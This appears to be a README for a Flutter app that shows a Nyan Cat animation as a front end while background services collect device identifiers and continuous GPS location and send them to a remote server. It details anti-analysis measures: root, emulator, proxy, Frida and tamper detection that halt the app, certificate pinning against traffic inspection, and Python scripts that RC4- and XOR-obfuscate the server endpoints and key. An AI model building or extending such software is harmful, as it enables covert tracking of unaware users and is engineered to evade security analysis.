A Flutter-based mobile application featuring an animated Nyan Cat interface combined with background device telemetry and location tracking capabilities.
The application demonstrates:
- Animated asset rendering using low-level image decoding
- Audio playback integration
- Runtime permission handling
- Background foreground services
- Continuous GPS tracking
- Device information collection
- Root / jailbreak detection
- Remote JSON API communication
The application performs a comprehensive security check at startup using the jailbreak_root_detection package.
Before initializing core services, the app verifies the integrity of the runtime environment. If any security issue is detected, the application will not continue execution and instead displays a dedicated security error screen.
The following validations are executed:
- Jailbreak / Root detection
- Emulator / simulator detection
- Proxy detection
- Dev mode detection
- Reverse engineering check
- Frida / Cydia detection
- Tamper detection
- External storage installation check
If any of these checks indicate a problem, the app:
- Stops normal initialization
- Displays a full-screen security warning
- Allows the user to exit the application
The application includes a simple animated Nyan Cat interface with looping audio playback. This UI serves as a lightweight front-end layer while background services handle data collection and transmission.
On startup, the application collects device metadata using device_info_plus.
Depending on platform, the following data may be gathered:
- Manufacturer
- Brand
- Model
- Device / Product name
- Hardware details
- Fingerprint
- Bootloader
- Display
- Host
- SDK version
- Android version
- Supported ABIs (32/64-bit)
- Physical device indicator
- Device ID
- Device name
- Model
- System name and version
- Identifier for vendor
- UTS system information
- Physical device indicator
- Browser name
- User agent
- Platform
- Vendor
- Language
Additional metadata:
- OS name
- OS version
- Locale
- Timestamp
The collected data is serialized as JSON and sent to a remote HTTP endpoint defined in:
AppConstants.deviceEndpoint
The app includes a background location tracking service built with:
flutter_background_servicegeolocator
- Requests foreground and background location permissions
- Starts a foreground service (Android)
- Subscribes to a continuous position stream
- Retrieves GPS coordinates approximately every 30 seconds
- Sends location data to a remote server
Each location payload contains:
{
"latitude": <double>,
"longitude": <double>,
"timestamp": <epoch_ms>,
"device_id": "<string>"
}Data is transmitted to:
AppConstants.locationEndpoint
- Flutter bindings are initialized.
- Device information is collected and sent to the server.
- Notification and location permissions are requested.
- If background location permission is granted:
- A foreground service is started.
- Location tracking begins.
- UI loads animated frames and audio assets.
- The home screen renders the animated interface.
The application requests the following permissions:
- Location (foreground)
- Location (background / always)
- Notifications
- Foreground service (Android)
These are required for continuous background tracking and service persistence.
All outbound requests are sent to remote API endpoints defined in:
lib/app_constants.dart
The application enforces SSL certificate pinning using the http_certificate_pinning package.
This ensures that:
- The server certificate must match a pre-configured SHA-256 fingerprint
- Connections to servers presenting unexpected certificates are rejected
- Man-in-the-middle (MITM) attacks using custom or rogue CAs are prevented
If the certificate fingerprint does not match the pinned value, the request will fail and no data will be transmitted.
All requests:
- Use HTTPS
- Use HTTP POST
- Send JSON-encoded payloads
- Include a timestamp field
- Require a valid pinned certificate
When the server certificate changes (e.g., renewal, re-issuance), the SHA-256 fingerprint must be updated in the application configuration.
You can retrieve the current certificate fingerprint using:
openssl s_client -connect <domain>:443 -servername <domain> -showcerts </dev/null 2>/dev/null \
| awk '/BEGIN CERTIFICATE/{flag=1} flag{print} /END CERTIFICATE/{exit}' \
| openssl x509 -noout -fingerprint -sha256This command:
- Connects to the remote server
- Extracts the leaf certificate
- Computes its SHA-256 fingerprint
The resulting fingerprint should be added to the pinning configuration in the application source code.
API endpoint strings and the RC4 decryption key are obfuscated at rest inside app_constants.dart. They are never stored as plaintext in the binary. Two Python helper scripts are provided to regenerate the obfuscated values when endpoints or the key change.
- RC4 encryption β each endpoint string is RC4-encrypted with a secret key. The resulting ciphertext is stored as a hex literal in the source code.
- Key obfuscation β the RC4 key itself is obfuscated with a secondary XOR-based transformation and stored as a byte array. At runtime
_decryptKey()reverses the transformation to recover the plaintext key, which is then used to decrypt the endpoints viaRC4.decrypt().
Use this script whenever you change the RC4 key or the secondary XOR key. It outputs the two List<int> constants to paste into app_constants.dart.
def obfuscate_key(plain_key: str, xor_key: str) -> list[int]:
xor_bytes = [ord(c) for c in xor_key]
result = []
for i, ch in enumerate(plain_key):
k = xor_bytes[i % len(xor_bytes)]
x = ord(ch)
x = (x + k) & 0xFF
x = (x ^ k) & 0xFF
x = (x - k) & 0xFF
result.append(x)
return result
xor_key = "Q**********k"
rc4_key = "Z**********************a"
obfuscated = obfuscate_key(rc4_key, xor_key)
print("static const List<int> _obfuscatedKey = [")
print(" " + ", ".join(f"0x{b:02X}" for b in obfuscated))
print("];")
print("static const List<int> _xorKey = [")
print(" " + ", ".join(f"0x{ord(b):02X}" for b in xor_key))
print("];")Note: The obfuscation transform applied here is the exact inverse of the _decryptKey() function in app_constants.dart. The decrypt function applies +k, ^k, -k in that order, so the encrypt function applies them in reverse: +k, ^k, -k again (XOR is self-inverse; add/subtract swap roles).
Use this script whenever you change a server endpoint URL. It outputs the hex ciphertext strings to paste into app_constants.dart as _base, _encLocationPath, and _encDevicePath.
def rc4_encrypt(key: str, plaintext: str) -> str:
key_bytes = key.encode("utf-8")
data = plaintext.encode("utf-8")
# KSA
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key_bytes[i % len(key_bytes)]) % 256
S[i], S[j] = S[j], S[i]
# PRGA
x = y = 0
output = []
for byte in data:
x = (x + 1) % 256
y = (y + S[x]) % 256
S[x], S[y] = S[y], S[x]
output.append(byte ^ S[(S[x] + S[y]) % 256])
return bytes(output).hex()
key = "Z**********************a"
endpoints = [
"https://<domain_name>/",
"location",
"device",
]
for ep in endpoints:
encrypted = rc4_encrypt(key, ep)
print(f'"{ep}" -> "{encrypted}"')The script encrypts the base URL, the location path suffix, and the device path suffix separately. At runtime locationEndpoint and deviceEndpoint concatenate the decrypted base with the decrypted path suffix.
- Update the URL strings in the script above.
- Run the script to obtain new hex ciphertext values.
- Replace
_base,_encLocationPath, and_encDevicePathinapp_constants.dart. - If the RC4 key also changed, run Script 1 first and update
_obfuscatedKeyand_xorKeyaccordingly. - Rebuild the application.
Key packages used:
jailbreak_root_detectionhttp_certificate_pinningflutter_background_servicegeolocatordevice_info_pluspermission_handlerjust_audio
To build the Android APK:
flutter clean
flutter pub get
flutter build apkTo build a release APK with Dart code obfuscation:
flutter build apk --release --obfuscate --split-debug-info=debug-infoOutput location:
build/app/outputs/flutter-apk/